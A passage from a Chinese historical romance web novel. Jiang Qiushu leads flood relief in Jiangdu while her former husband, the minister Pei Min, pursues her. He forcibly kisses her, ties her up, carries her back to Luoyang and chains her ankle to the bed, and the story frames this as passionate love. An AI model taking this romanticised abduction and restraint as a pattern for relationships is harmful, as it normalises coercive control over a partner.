只是当裴珉看着,姜秋姝又一次扑空了沙土袋,他连忙叫来了侍卫顶替了他的位置,朝着姜秋姝的位置,大步而去。 姜秋姝眼前的重影越来越严重,已经找不到何处是沙土袋,她捏了捏眉心,提起了些精神,不敢有半点儿的迟疑,只想要快些,护住百姓,可耳侧突然出现了许多喊她的声音。 “姜娘子!” “快去看看姜娘子怎么了!” 温暖的身体将她给抱在怀中,姜秋姝半醒中睁开了眼,冰冷的雨浇在身上,隐约看见了裴珉。 ~~~ 外边儿的雨,依旧下的很大,没有停,姜秋姝额头渗出了细密的汗珠,淅淅沥沥的雨声,似与鼓声重合,敲打在她心里。 河水决堤,无数的庄稼被淹没,她苦苦的敲着各家的门,将此事告诉他们,可无人理会,甚至觉得她是在故意扰乱民心,他们厌烦的将她驱逐,将她赶出门外。 可下一刻地动山摇,洪水一泻千里,淹没了江都,她溺在水中,呼吸困难,水往身体各处钻去,冷的要窒息,她拼命挣扎着,害怕死在了这场洪灾中。 裴珉坐在床榻,轻轻擦拭着她额头的汗,当她忽然暴起,手不停地挥舞时,裴珉连忙抓住了她的手,指甲划破了他脸颊的肌肤,他浑然不觉得痛,只是轻轻拍着姜秋姝的背,安抚着她。 这些日子,她实在太累了些。 裴珉抚平了她的眉心,眼中尽是怜爱,正好这时,冬葵端着药进来了。 她也是从众人嘴中,晓得此人是自洛阳来的,巡查河道的大人,洪灾发生后是他派人安排好了百姓,修建了临时的住处,还派人去各处采买。 样貌俊朗,又爱护百姓,应当是个好官,可当冬葵看着他抚摸着姜秋姝的眉心,吓得吸了口冷气。 她连忙咳嗽了声,那位裴大人还是没有反应,她连忙道:“大人药煎好了!” 裴珉去端药,有要亲自喂姜秋姝的意思,冬葵想要阻止,可碍于他的威压,根本不敢动,只能看着他将姜秋姝抱在怀中,亲口试了试药的温度,然后用他含过的汤匙,喂进了姜秋姝口中…… 冬葵愣在原地,看着这位裴大人温柔又耐心的模样。 她暗想,这位裴大人莫不是看上姜娘子了?可宋大人可如何是好啊! 裴大人是洛阳来的,官职家世应当比宋大人好,可宋大人是她见过的,对姜娘子情真意切。 冬葵暗暗盯着,一时难以替姜秋姝抉择。 若是两个都要?冬葵连忙摇了摇头,将这混想法给驱散。 还是宋大人好些,至少熟稔又能给姜娘子正妻的位置,她试探的看着裴珉,“大人您忙,不若民女来喂?宋大人吩咐过民女,好好照料姜娘子。” 裴珉未动,只是横了个眼神过来,带着些凶气,似乎她提了什么不能提的,冬葵连忙出了帐子。 她站在外边儿,雨水溅在脚边儿,才清醒了些。 这位裴大人,根本就没有面上瞧见的那般的和善! 她都以为他立马要叫人,将她给拖出去打板子了! 姜秋姝咳嗽了几声,醒来时嘴里一片苦涩,她睁眼,面前便有一把汤匙,裴珉察觉到她醒来,连忙放下了药。 姜秋姝动了动,才发现自己是被人从后搂在怀中的,身上只穿了件单薄的里衣,肌肤相贴,烫人的很。 “你先放开,河堤如何了?”姜秋姝想要从他胸膛前起身,可一只手忽然横了过来,将她搂在了怀中。 裴珉靠在她的脖颈处,“娘子,你真叫我担心!” 她再次晕倒在他面前,这次并没有旁人先他一步接住她,可他更希望的是她平安无事。 姜秋姝推了推他,继续问道:“到底如何了?” 裴珉见她心急如焚,还是和她说了,永平河决堤了,不过好在江都人全部撤离,皆安然无恙。 姜秋姝听后松了口气,可她还是不想与裴珉这般的亲近,她再次挣扎起来,可下一刻耳垂被咬了口,裴珉眷恋的声音响起,“此事完了,你便和我回洛阳吧!” 姜秋姝抿了抿唇,嘴里大的苦味儿一点儿都没有消散,“裴珉,你若是逼我,我不在乎真的与旁人成了婚。” 这是威胁的话,亦是真的想要摆脱他。 “那我便将你夺回来!嫁了人又如何,我早说过你只能是我的!”裴珉牙齿微微用了些力道,姜秋姝的话,让他又想起了那个叫他痛不欲生的夜。 他们还未曾拜过天地! 姜秋姝没有力气和他争执,耳侧有些疼,她转移了话题,“如今灾情尚未处理,裴珉你没正事儿办吗?” 她就是在说他玩忽职守! 刚好外边儿传来了声音,是裴珉的侍卫,禀告张县丞有事儿来拜见他。 姜秋姝连忙推开了他,裴珉却不紧不慢的站了起来,丝毫没有顾忌外边儿的人, 张县丞讶异地看了眼依靠在床榻人,尤其是裴大人方才可是从她床榻起身,两人之前瞧着靠的极近。 尤其是裴珉脸上隐约的痕迹,只是偷香弄的?还是情趣? 这姜娘子又攀上高枝儿了吧! “张大人有何要禀告的!”裴珉声音压低,张县丞察觉到裴珉的不悦,连忙移开了视线。 “大人,下官皆按照您要求做了,百姓已经安置妥当了,”张县丞恭敬道,“只是这粮食?” 粮食短缺,即便出城时运走了部分,可终究时间上太赶了,只能够上三四日,若是三四日后,朝廷还未送来补给,这么多的人怕是要饿死! 裴珉早就安排了人,去周遭的乡县征集粮食,也早早让人去通知了扬州节度使,开仓赈粮,不过此地距离遥远,且沿途不少地方皆被水淹了,运送过来需要耗费些时辰。 “先去安抚百姓。”裴珉让张县丞离开了。 姜秋姝却是撑着机会连忙起来,穿戴整齐,将要出去,裴珉倒是没有拦着她,甚至还搀扶着她。 姜秋姝也是此刻瞧见他脸上隐约的痕迹,似乎被什么划了的,她低头看了看自己的指甲,睡梦中,隐约还是有些意识的。 外边儿支了口大锅,煮着粥,饥肠辘辘的百姓闻着味道,早就忍耐不住了,可看着碗里的粥,稀得都能当水喝! 已经两日了,他们未曾真正吃饱过,已经有人察觉到了粮食的不足,摸着眼泪,“接下来的日子可怎么过啊!这里路都被堵住了,没有粮食大家都会饿死的。” 不少百姓皆害怕发生此事,动乱也在此时而生,他们一脸的颓废,肚子咕咕的叫着,即便是喝了粥,也饱不了。 “如此饿死,还不如真的死在洪水中,当个饱死鬼!” “我们要粮食!” 惊惧的声音在百姓中变得越来越大,有的甚至要夺过侍卫舀粥的勺子,给自己多打些。 侍卫们将要去压制那位百姓,纷乱此刻起了。 姜秋姝出来时,宋执书害怕百姓伤到了她,挡在了她面前,可姜秋姝身侧之人朝着侍卫使了个神色,直接隔开了他与姜秋姝。 宋执书晓得他便是那个名满天下的裴太傅,天子近臣,当今中书令,政令御令皆要过了他手才传达下去。 宋执书看着他搀扶着姜秋姝,神色不甘。 姜秋姝松开了裴珉,走到了人群中,苍白着一张脸,“大家住手!” 几乎所有江都人,都识得这位姜娘子,是她将他们从洪灾中救了出来,想着几乎要被淹没的家乡,和食不果腹的日子,他们泪流不止,如今怎么多人,怎么活下去还是个麻烦事! 人群中虽然没有了嘈杂的声音,可哭声阵阵。 姜秋姝道:“各位,我尚且有余粮,可全部献出来,帮助大家渡过难关!” 听了姜娘子的话,所有人将信将疑,姜秋姝连忙将粮食藏匿的地方告诉了侍卫,侍卫运着粮食出现时,一阵欢呼声响彻天际。 “多谢姜娘子!”百姓简直将姜秋姝当做了救苦救难的活菩萨。 “有姜娘子在,我们便什么都不怕了。又是在洪水中救了我们,捐出了全部的钱,还给我们粮食,天底下怎会有这般好的女子,再世菩萨啊!” 百姓们皆朝着姜秋姝跪了下来,这时候一个小小的女子,比起江都的县令,县丞,洛阳来的朝廷命官更得民心。 可谓是姜秋姝说什么,他们便是什么。 裴珉看着姜秋姝接过了侍卫手里的勺子,开始给百姓打起粥来,比起方才的稀粥,现下浓稠了不少。 百姓更是感天动地,对着姜秋姝俯首。 裴珉默默看着,隐约察觉到了丝不对劲儿,可他看不明白她究竟要做什么? 她行事颇得民心,便是他都有些艳羡了。 此举,怕是要名留青史了! 日后便是,江都一姜娘子慷慨大义,身先士卒救民于水火,便是朝廷都要嘉奖的。 百姓端着粥,看着同时在施粥的姜秋姝和宋执书,他们聚拢在一起,晓得能吃饱饭,闲话也多了,“姜娘子和宋大人当真是般配的很!” “对啊,两人还传出过婚事,可惜因宋太夫人的死耽搁了。宋大人不想要耽误姜娘子主动退了婚。如今我看姜娘子与宋大人,可谓是天造地设的一对。” “对啊对啊!他们站在一处,般配又登对!” 裴珉就在他们身侧,这些看似很小声的话,尽数进了他耳,他看着正在盛粥的两人,百姓喝完了粥,去归还竹筒,正好撞上了面前的裴珉。 他连忙弯腰致歉,可抬头便瞧他凶神恶煞的模样,吓得竹筒都掉在了地上。 这位裴大人还真是凶啊! 裴珉走到了姜秋姝身侧,“宋大人去前儿面帐子里瞧瞧受伤的百姓,此处,我来便是了!” 宋执书捏着勺子,并不想松手,裴珉沉声道:“宋大人这是想要违令?” 宋执书最终还是松了手,离开前想要看眼姜秋姝,可裴珉侧身将他视线完全给阻挡住了! 裴珉接了宋执书的位置,做起了盛粥的活儿,往大了说便是体恤百姓,慰问百姓,往小了说姜秋姝觉着没有必要。 她看了眼他,周遭到他那里盛粥的百姓几乎没有。 他们都不敢上前,除开裴珉脸色的缘故,还有便是方才他抢了宋执书的位置,在江都人眼中宋执书才是他们的父母官。 “这是洛阳来的裴大人,专门为了此次水患一事,有朝廷在,大家都安心吧!”姜秋姝看着百姓道。 裴珉看着姜秋姝,有些意外她竟然会为他说话。 姜秋姝却落到了他脸上轻微的痕迹,已经很淡,看不大清楚了,便算是补偿吧! “诸位乡亲,此次江都受灾,我已上书一封给圣人,相信不久便会派人来,你们且安心。”裴珉安抚着百姓。 众人虽然不识得裴珉,可听他说起什么圣人,还修书的,便晓得他来头不小,又有知情人言这是当朝太傅。 众人更是将心放稳了不少,当朝太傅,多大的官儿,既然做出承诺,他们江都便有救了! 百姓皆朝着裴珉的方向聚拢,行礼问好。 只是裴珉未曾听见,远处的几人还在谈论方才姜秋姝与宋执书的般配,甚至道:“虽然姜娘子好看的紧,裴大人亦是人中龙凤,可我还是觉得宋大人与姜娘子相配的。” 说这话的,正是方才被裴珉神情所吓之人。 可有不少人曾看见裴珉扶着姜秋姝出了帐篷,猜测起两人关系来。 夜间,雨停了,百姓窝在帐子中,大都陷入了沉睡,这些日子不安的心,如今终于定了些。 姜秋姝只看着这张床榻,以及身后拿着药膏的裴珉。 “把衣服脱了上药!” “我无伤!”姜秋姝想要出帐子,问问她的住处。 可裴珉拦住了她,“你何处我未曾看过,不过是上个药。” 裴珉声音随意,姜秋姝却极其的不自然,看着他端起正经的模样,不免让她想到了他不久前的恶行。 她脸色说不上好还是坏,那几日她身子骨都是酥的,颠鸾倒凤不知天地何物! 裴珉未免太过荒淫了些! “让冬葵来就好了。”姜秋姝黑了脸。 裴珉自然不会叫旁人看了她身子,女子也不行!他抓住她的手腕,将她按在膝上,顺着领口往下拉,露出了后背的肌肤。 本是白皙的肌肤青了一大片,这是她下山和搬沙土袋时弄的。 “你都不确定,竟然敢用全部的钱,买了粮食?”裴珉轻柔的上着药,问着她。 姜秋姝眸光一闪,只是道:“粮食才是人之根本。” 即便未发生,她囤粮不会出错,下那般大的雨,对粮食收成必定有影响。 药膏涂完,裴珉此次规矩的很,姜秋姝都有些意外。 “你有伤在身,不易激烈动作。”裴珉像是解释的模样,可下一刻他拦腰将她抱到了床榻上。 动作小心未碰到她伤处。 他呼吸渐沉,捏着了她的下颚,黑眸将她全部的纳入视线中,似野兽般占领着自己的地盘,“他们都说你和宋执书相配!” 姜秋姝不明白他怎会忽然这般,可听了他的话,隐约察觉到了他好似在吃醋? “旁人道听途说罢了!”姜秋姝不想惹怒他,尽量顺着他的意思来。 成事前,她不想再被他困住,再起波澜。 可偏是旁人之言最是刺耳!裴珉依旧捏着她的下巴,盯着她的眸光,想要从里面瞧见以往的温柔,可终究什么都没有。 他猛地低下头,将她的唇含在嘴里,不容一丝拒绝。 姜秋姝被打了个猝不及防,男人的吻带着侵略性,轻而易举的撬开了她的牙关,一寸寸将裹挟着她的唇舌,似乎要将她吞入肚子。 她没有反抗,眼眸中逐渐放空,望着头顶的帐子。 自从他来了江都,这般的亲密早就是常事,姜秋姝的神色中带着淡淡的无奈。 他吻越来越深,吞咽声在寂静的帐篷中格外的明显,他用力的抱着她,却又刻意绕开了她的伤处,将她揉进他的怀中。 “我不碰你,只叫你愉悦可好?” 姜秋姝原本还算平稳的呼吸,变得急促起来,似被裴珉拉进了他所织造的牢笼中,舌尖碰触到了里侧,一阵酥麻感叫她身体发软。 他的手掌自耳侧移到了脖颈,吻也逐渐往下走,分别是耳垂,脖颈,他贪婪的想要占据着全部的她。 第44章 第44章被绑 洛阳城最为繁华的皇宫里。 圣后处理着奏章,底下的四位皇子皆俯身听训,只二皇子垂首时,看着地面将阴郁的神情隐藏着。 如今圣人大病,不倚重他们这些皇子,反倒是将权利给了个妇人! 他不服气,众位皇子中,他本是有一争的可能,可是如今圣后当权,势必会偏心自己的所出,他们这些妃嫔的孩子,只能被视为眼中钉! 圣后看完了奏章,递给了内侍监,让诸位皇子也跟着瞧瞧。 等他们一一看完了,圣后问道:“江都水患,诸位有何看法?” “儿臣认为有老师在,母后可拨些救灾款,救助百姓。”二皇子率先开了口。 圣人没说话,却看向了三皇子,三皇子答道:“太傅虽在,可重建灾民乡土,却非太傅一人可做到,且太傅乃是中书令,朝中肱骨,不可在江都久待,儿臣认为太傅安置灾民妥当后,便命扬州节度使彻底接手此事。” 圣后看了眼三皇子,像是在思索着他的话,二皇子却道:“太傅在,才能安稳民心,这般急着将太傅召回来,民心不稳,反倒生了事端。” “儿臣的意思是,太傅将一切处理差不多了便可回洛阳,怎到了皇兄口中成了立刻召回!”三皇子回道。 “好了。”圣后睇了眼二皇子,轻飘飘的收回了视线。 二皇子捏紧了袖子噤了声。 “江都虽属于扬州,可距离扬州到底有些距离,不若让更加熟识江都的人全权处理此事。”圣后此话,便是认同了三皇子的话。 二皇子咬了咬牙,如今这朝堂早就成了圣后一派一言堂,那里还有他说话的份儿! 大皇子却是一言不发,沉默着。 另一侧小榻上,李长宁吃着点心,又闲适的喝着茶水,与他们商讨的紧张模样完全是两个模样。 尤其是听见了些争执的话,她甚至抿唇莞尔看起笑话来。 圣后看了看奏章,“便由江都县令来吧!” “此人倒是个励精图治的,继任江都县令两年,颇得民心。” “母后,宋县令祖母辞世,需得守孝。三哥提议的扬州节度使可担此责。”四皇子替三皇子说着话。 “此事情况特殊,特夺情起复。”圣后直接下了令,三皇子却还是想要提提扬州节度使,可圣后一个眼神过去,三皇子不再开口,只是心头不畅多了些。 扬州节度使是他的人,母后未免太专治了些! “哈哈哈!” 寂静的殿中忽然有了声笑意,他们看过去是李长宁躺在榻上,一只手拿着奏章,一只手吃着点心,悠闲的很。 “平乐!”圣后不满的看了过去,眼神却带着无奈。 将李长宁喊来,只因她手里握着云策军,圣人爱重这个嫡女。 “儿臣也不想来的,可母后偏要儿臣来,”李长宁撒着娇,一脸的无辜,“奏章里说,那个种植青色牡丹的小娘子,救了全城的百姓,还捐了全部银钱购买了粮食,百姓皆说她是牡丹花仙转身,菩萨下凡。又是牡丹,又是菩萨的!天底下还有能够有比得上儿臣的小娘子?不过是夸大的话。” 李长宁不屑的撇了撇嘴。 青色牡丹,他们倒也是有所耳闻,洛阳忽然兴起,此牡丹花能够铲除奸佞,有兴隆国运之态。 他们也曾将主意打到着牡丹上,可还未来得及,江都便出了事儿。 也不晓得牡丹还在不在! “真有这样的小娘子?”圣后也是起了几分好奇。 内侍监早早将事情打听清楚了,此时将事情禀告了,“那位小娘子姓姜,原是听说叫姜满的,可又传出此女本是叫姜秋姝。百姓赞其秋水之貌,百善之心,无人不听从她的话。” 听到姜秋姝的名字,他们还未曾有过反应,只因洛阳人虽晓得裴太傅从前的妻子姓姜,可还不晓得她的闺名。 李长宁唇角翘起,摆弄着指甲,像是半点儿也不将内侍监的话放在心上。 “有慈悲之心,大周该多些这样的女子,是该嘉奖一番!”圣后感叹道,往江都又下了旨意。 于圣后而言,她以女子之身监国,有这般的女子站出来,于她更有利。 清晨,姜秋姝起身,帐子旁小榻已经没了裴珉的踪迹,这几日,他欲行不轨皆被她一脚给踹了出去。 便是将裴珉当做伺候人的小倌儿,也要看她想不想了! 此地还有不少的百姓,若是让他们瞧见了,过往她所做的一切可都毁了。 本来,裴珉住在她的帐子本就出格,谁料这人的帐子搬到了她的旁边,每每入了夜便如个偷香窃玉的贼,去了她的帐子里。 他其实是不怕的,争执之际,甚至又想要将两人的关系公之于众,姜秋姝连忙阻止,勉强答应只要不被旁人瞧见,他可打地铺。 姜秋姝出了帐子,原本还在远处的百姓纷纷聚集,朝她行礼问安,她唇角始终勾着抹笑意,纷纷还了礼。 瞧着姜秋姝这般的和善,原本就对她有好感的百姓,更是多了几分倾慕。 外边儿的雨已经停了,原本乌云密布的天也逐渐清了些,露出了灰蒙蒙的蓝。 姜秋姝走到了崖边,眺望着,江都半个城都被洪水所淹。 原是一片繁荣的县城,江都在宋执书的励精图治下,已经改头换面,不少百姓皆有了富足日子,可惜一场洪灾都毁了。 家不成家的! 姜秋姝看着下方,按照记忆中的模样,找着如意花坊的位置,已经被水淹的,只能瞧见个指甲盖晓得是房顶的位置。 这是她待了两年的地方,她想要走近看的清楚些,下一秒腰肢被人给搂住了,她回头裴珉神色紧张,色厉内茬道:“站这般近,就不怕滚下去!” 裴珉将她抱在怀中,劫后余生。 方才那一幕,让他想起东鸣山寻到她的衣服和鞋子。 当她往前探时,他的心剧烈的跳动着,梦中的一些场景在重现。 他怕了! 姜秋姝将他推开,可腰间的手太紧,紧到她感觉到他的颤抖,可依旧没有松开她。 “裴大人,我有分寸,又不是傻的,往下跳做什么!” “东鸣山故意留下那些东西,让我误以为你死了,”裴珉问道,“可曾想过我会难过?可曾心软过?” 姜秋姝不语,尤其是他望向她伤怀的目光,叫她说不出话来。 她从他怀中挣脱了出去,东鸣山故意落下的衣服,她便没给自己留过后手。 一为了离开洛阳,转移裴珉的视线,二则是当姜秋姝真的死了,之后的裴珉是娶妻,还是生子,皆和她没有关系。 她没有回答他的话,可裴珉从她的神态中看出来了,她不曾心软后悔。 也从未想过,见了那些丢在山底的碎衣破鞋,会给他带来怎样的伤。 裴珉唇角浅笑,靠近她,收起了一瞬的脆弱,恶狠狠的咬了口她的耳垂,似报复,“无论你逃到何处,还是被我找到了!” 姜秋姝抬眸,即便找到了,她也不会再和他在一处了! “姜娘子!”身后是宋执书在喊她,宋执书目光落在了裴珉身上,眸光警惕,问道:“你可要与我一道慰问百姓。” 姜秋姝刚要答,结果被裴珉揽住了胳膊,“宋大人你是江都知县,本是你该做的事,为何偏要牵扯到我娘子,离了我娘子,连本职都不晓得如何做了?” 宋执书走近,视线落到了裴珉的那只手,他眼神晦涩,却又掷地有声,“裴大人,小满早就与你和离了。你称她为你的人,可为她声誉考量过!” 小满?裴珉唇角往下,眼神冰冷,宋执书这般的称呼,便是故意与他争锋。 姜秋姝也未想到,宋执书会这样直言。 “我与娘子回洛阳便重办婚仪,到时候请宋大人喝杯喜酒。”裴珉将姜秋姝脸侧的发丝轻柔的别在了耳侧,眼眸中侵略没有隐藏。 他必是要将人带回洛阳的,此后她与宋执书相隔两方,那场可笑的婚仪,便彻底消散。 宋执书见裴珉这般轻佻的举动,胸膛处憋着股气,即便裴珉位高权重,还不是靠着家族托举,宋执书曾亦是敬仰过这位太傅的。 传言他并未受家族恩荫,而是靠着科举考中状元,入了仕,有了如今的地位。 裴珉曾是无数学子所钦佩的,可世家与寒门间隔着的天堑,世家藏书万千,寒门可窥不过沧海一粟。 宋执书故意道:“真是可惜,前些日子未曾叫裴大人喝上酒。那日我祖母辞世,也没能敬上大人一杯。” 裴珉眉宇间黑雾笼罩,“宋执书!” 姜秋姝忽然打断了两人的话,“宋大人,您一人去吧!” 宋执书眸光有过迟疑,可瞧见姜秋姝坚决的模样,最后只能道:“我就在不远处,你若是有事儿可喊我。” 裴珉看见了宋执书眸中的依依,和姜秋姝看着是不想要与那人一起离开,实则是为了护着他! 怒意在一瞬间充斥着。 “我曾暗自令各道州寻你的下落,宋执书明明知情却不报。你说他是不是该付出代价。娘子,你为了宋太夫人和他只是假成婚,那他呢?他对你的心,可真真切,”裴珉几乎咬着牙说着话,“你说他阻拦我寻你,让我们耽搁了两年,是不是该让他受些教训?!” 姜秋姝不假思索道:“此事是我拜托他的,裴珉,你非这般不将道理之人。宋大人是好人,你又凭何为难他?” 她维护旁人的话,叫他更容易动气,“我为不为难他,要看娘子。你若是和我回去,至此洛阳江都相隔千里,我自然便将那曹贼给忘了!” 姜秋姝听他用曹贼二字称呼宋执书,“何必侮辱人!宋大人爱护百姓,鞠躬尽瘁,好好一清白的县令,你怎可侮辱他!” 裴珉眼神中黑雾更加浓郁了些,放任她在外,真叫旁的野男人引诱了她! ~~ 约莫七日,扬州那边的粮食运送了过来,江都百姓更是喜不自胜,如此有了供给,便不怕饿死了,最令人开怀的便是接下来几日皆是好天气。 以往晒人的艳阳天叫人烦躁,如今都盼着天晴,希望河水早日退去,重新修建永平河,他们也好回家。 又过了几日,永平河水退去了不少,裴珉立刻号令人马下了山,去整修河道。 如此过了一个多月,永平河道重修了,山上的百姓终于可以回到了自己家。 无数欢呼声不绝于耳,大家脸上终于没有了原先愁苦模样,只有能回家的欣悦,可等回了江都,才发现要做的还有很多。 这个近两月未曾退去的水,淹了房屋,柱子被水泡的没了以往的坚固,好木料的尚且还能住,可其余的需要修缮好后,才能住进去。 姜秋姝如自己承诺的,捐出了如意花坊全部的钱,给百姓用来修建房屋。 冬葵其实是舍不得的,可这些钱都是姜秋姝的,她也不好多言。 “你将钱给了他们,那你呢?”冬葵还是问道。 姜秋姝只是浅笑,她拍了拍冬葵的手,“你也跟了我两年了,日后如意花坊便交给你吧!” 冬葵感觉到姜秋姝是在交代,她眼泪不禁往下流,她舍不得她,可她晓得依照姜秋姝的能力,她有更好的未来,不必困在一个小小的县城中。 江都县在朝廷的帮扶下,逐渐在恢复以往。 夜间姜秋姝雇了一匹马,如今官道也修缮好了,她是时候离开了。 一人一马驰向城外,却没有发现身后有道影子跟随着她。 姜秋姝进了客栈,大厅内共有两桌,皆是男子,他们身形伟岸,是有些拳脚功夫在身上的,她往前走了步,那些人视线皆停留在她身上。 她看着不对,立刻转身出了客栈,一辆马车堵在了她面前,车门半开,一只白皙却又指节分明的手横亘在门上,男人半俯着身子,俊逸的脸棱角分明,神色未明。 “娘子是要去哪儿啊?”裴珉不紧不慢道。 马车上,姜秋姝手脚捆了起来,裴珉俯身彻底将姜秋姝笼罩在怀中,她以为他要做什么,双脚并拢去蹬他。 裴珉找准时机,抓住了她的脚踝,轻轻拨弄了下脚边的铃铛。 没有响声。 他说这几日和她在一处,没有听见过摇铃的声音。 他抓住她的脚腕,放在了他膝盖上,仔细的观察了起来,铃铛里面灌了些东西进去,将那颗发出声响的小球给固定住了。 裴珉观察着,看的很仔细,眼眸盯着她的脚踝,姜秋姝都以为他又要吻上去,剧烈挣扎起来。 “为何要这样?”裴珉是问铃铛的事。 姜秋姝嗤笑,“护家之犬,才会带上铃铛。” 裴珉眉宇轻拢,并未松开她的脚,“书中说这是闺房之趣!” 哪门子的闺房之趣,裴珉这是从什么污秽的书里瞧见的! “裴大人世家儿郎,哪里晓得乡下人喂养犬,狸奴常给它们带上铃铛,用以寻他们的位置,还有便是赏个小物件儿,昭示着这是自己之物!表明主人身份!” 姜秋姝瞥过头去,未曾瞧见裴珉深思的模样。 脚踝的东西,一动便是清脆的声音,会叫裴珉变得彻底不像自己,丢弃了儒雅的面容,除开了皮囊,只余下深沉的欲望。 只是姜秋姝想不通,即便那样,他还是没有碰过她? 裴珉小心的捏着铃铛,没了悦耳的声音,可只是挂在她的脚上,都是极为美的,他忍不住低头触碰了下她的脚腕。 姜秋姝连忙缩了缩身子,此人不只是疯了,怕也失了智! 瞥见姜秋姝嫌弃的模样,裴珉也并没有异样,毕竟她这样的眼神,已经不止一两次了! 他喜爱她的每一处,从脚趾到头发丝,皆合了他的心意。 刚成婚时,他便晓得,只是在压制着那样不堪的自己。 马车往洛阳的方向而去,姜秋姝始终没能逃脱裴珉,两人吃穿住行皆在一处,最开始姜秋姝还想过逃,渐渐的息了心思。 两人本是要去一处,便借助裴珉回了洛阳,既安全,又比她独身一人风餐露宿要好。 换做以往,她是不满裴珉的,可他没脸没皮的模样,叫她气了又笑,笑了又气。 终于到了洛阳,姜秋姝抬头便瞧见了熟悉的匾额。 定国公府。 她进了这门,怕又会增添许多麻烦。 这府中人没个叫她留恋的,都是虚伪的,肮脏的,还有古板是以往古板,如今没皮没脸的。 姜秋姝站在门前,便有门房迎了上前,他先是朝着裴珉行礼,等看着姜秋姝时,脸上表情骤然变了,似惊慌害怕。 “这是五夫人。”裴珉道。 门房连忙行礼,看了地上姜秋姝的影子,略微的松了口气。 姜秋姝被裴珉半抱半搂着,回了以往的院子,期间瞧见了定国公府不少人,他们神情与门房一致。 只是到了玉珩院时,姜秋姝原本沉寂的心跟着跳动了下。 这院中困住了她,叫她没了以往的心性,活的犹如老媪。忍耐定国公府的不公,忍耐着其余几房的闲言碎语,忍耐着旁人说她的不配,只做个贤良淑德的妇人! 可她姜秋姝不是这样的人,她被裴珉抱进八角门后,便剧烈挣扎起来。 过往的记忆侵扰着她,心底的郁气此刻皆冒了出来,他们世家人高贵,她只是个市井女子! 可难道她就愿意被鄙夷被瞧不上,凭何呢! 裴珉像是毫无察觉,依旧将她搂的紧紧的,只是到了房门口,才将她放了下来,“娘子,你的花圃和往常一样。” 姜秋姝恼怒的瞪着他,啪一声扇在了他的脸上。 此时玉珩院的奴仆皆聚拢,神情惊讶的看着这一幕。 第45章 第45章锁住 裴珉脸上立刻出现了五根指头的印子,他偏过脸去,隐在黑暗中,叫人看不清他的神色。 姜秋姝掌心发麻,可晓得她方才用了多大的力。 定国公府里藏着她两年里所有的苦闷,她以为只要有了孩子,便有了家,也可以一直忍耐下去,可他将一切都毁了,她也彻底的清醒过来。 即便有了孩子,不过是为了孩子继续委屈,若是再憋屈些,便要让孩子与她一道受委屈。 那个她所灌注全部爱意的孩子,在他们眼中,即便有定国公府的血脉,可仍旧是她这个卑贱之人所生。 姜秋姝从未想的那般明白,这囚笼她一刻也不想待,裴珉重新规整的花圃,像是重新打造好的牢笼,要将她再次装进去。 “裴珉,你清醒些了吗?”姜秋姝目光平静。 此地聚集了许多的奴仆,都瞧着她羞辱了裴珉,她没有手软,甚至有些快意。 如此看重体统的人,却在奴仆面前丢了脸,被她这个前人给掌掴。 玉珩院的人自然也认出了姜秋姝,只是外界皆传,这位前五夫人坠崖而亡,如今竟然出现在府中,还打了五郎! 他们面面相觑,却又不敢说什么,只能隐晦的用眼神交流着。 这是他们第一次瞧见这般狼狈的五郎! 裴珉却是丝毫也不在意,往前一步,抓住她的胳膊,也不顾院中其他人是何反应,扯着姜秋姝进了房间。 外边儿的奴仆这才议论了起来,自从前五夫人离开,五郎便冷了许多,常常叫他们也跟着胆战心惊。 如今竟然瞧见五郎被打了,还隐隐有讨好之意。 关嬷嬷来时,瞧见不少奴仆聚拢在一起,“还不去做事!” 有婢女立刻禀告,“嬷嬷,是夫人回来了?” 夫人?正当关嬷嬷疑惑之际,锦绣听闻到了府中的消息,立刻回了玉珩院,她呼吸还未喘均匀,“嬷嬷,是娘子回来了!” 关嬷嬷眸中不可置信,她也是以为娘子坠崖而亡,如今回来了! 房间里一切都如往日的模样,只是那张床榻上多了个枕头。 裴珉将她按住,让她只能看着他一人,他轻轻抚摸着她的脸,“你我婚仪定在五日后。” 姜秋姝想要偏过头,却被他捏住下颚,裴珉按住她的手,将她完全桎梏住,“你以为自己还能逃吗?” 既然将她找回来,他便不会将她放走,若是她想逃,他不介意将她锁起来。 如今到了洛阳,她所依附的只有他,那些什么野男人!她这辈子也别想见了! 她清楚的看着他脸颊上的红肿,哂笑道:“裴大人,可用镜子瞧瞧自己如今的模样,好丑!” 裴珉眼眸微眯,她真是懂得如何激怒他。 “娘子若是喜欢,这边儿也可。”裴珉将另一边儿完好的脸向着她的方向,“只是打了,便要赔上一辈子,娘子的手便是印章,盖在我脸上,便是允诺了!” 不要脸! 姜秋姝没去看他,仰头看着这床帐,远瞧着与以往一样,可细看这床帐旧了些。 他定国公府在银钱上遭了什么难吗?连个床帐都还不起。 “娘子在江都过的滋润,如今回来了,便将那些东西都忘了!”裴珉轻柔的捧着他的脸颊,眼眸中是珍视和侵略。 真的好想叫她身上各处都留着他的印记,可惜他们还未成婚! “那得多亏了五郎给的一万两啊!”姜秋姝含着笑,“五郎阔绰的很,这间屋子还是那般的破旧。” 他自以为是的保持原样,便是在念着她?这样无用的深情,在她看来一文不值。 她也是故意说的这般话。 “娘子若是不喜,随时都可换了。按照娘子的心意来。”裴珉低头,堵住了这张叫他受气的嘴。 他晓得,她是在气将她掳回了定国公府,可她得留在他身边,与他一生一世,生儿育女。 他的吻是凶猛的,几乎是想要将她给拆皮脱骨,姜秋姝去推他,可手被他牵引着往下,碰触到个小巧的东西上。 她神情一震,他莫不是疯了,又要给她带上这脚链。 她不愿,拼命挣扎起来。 她不是什么物件儿,也不是被拴在圈舍的家禽! 可男女之间的力量悬殊的很,姜秋姝只能被他所压制着,她奋力的朝着他手腕的方向咬去,此刻比起任何时候都要重,牙齿并拢,两颊凸显想要撕咬下他的肉。 裴珉却丝毫痛都未察觉,他甚至摸了摸脖颈,此处虽然早就愈合,只留下了一道浅浅的疤。 她比任何人都要心狠,为了能离开他,什么代价都不怕。 即便是要他死! 尽管将她带回了洛阳,他的心依旧是悬着的,他怕不晓得什么时候,她会再次逃出去。 在江都时,若非他时刻派人守着她,她怕是早早的又逃了。 他真的怕,再隔个两年,或是一辈子呢? “很快就好,娘子。”裴珉任由她咬着,手掌鲜血不止,皆沾染到了床榻身上。 很疼,可却抵不过将东西套在她身上的愉悦。 她只能是他的,他说过! 脚腕处再次有了冰凉之感,这不只是脚链那般简单,一根儿锁链往远处延伸,绑在了最里侧的柱子上,姜秋姝松口,闭上了双眸,遮住了眼底的绝望和厌弃。 她侧躺着,“裴珉,你当真是晓得怎样叫我厌恶的。” “厌恶?好过让你离开,”裴珉俯身,亲昵的低语道,“娘子,我们终于要成婚了!” 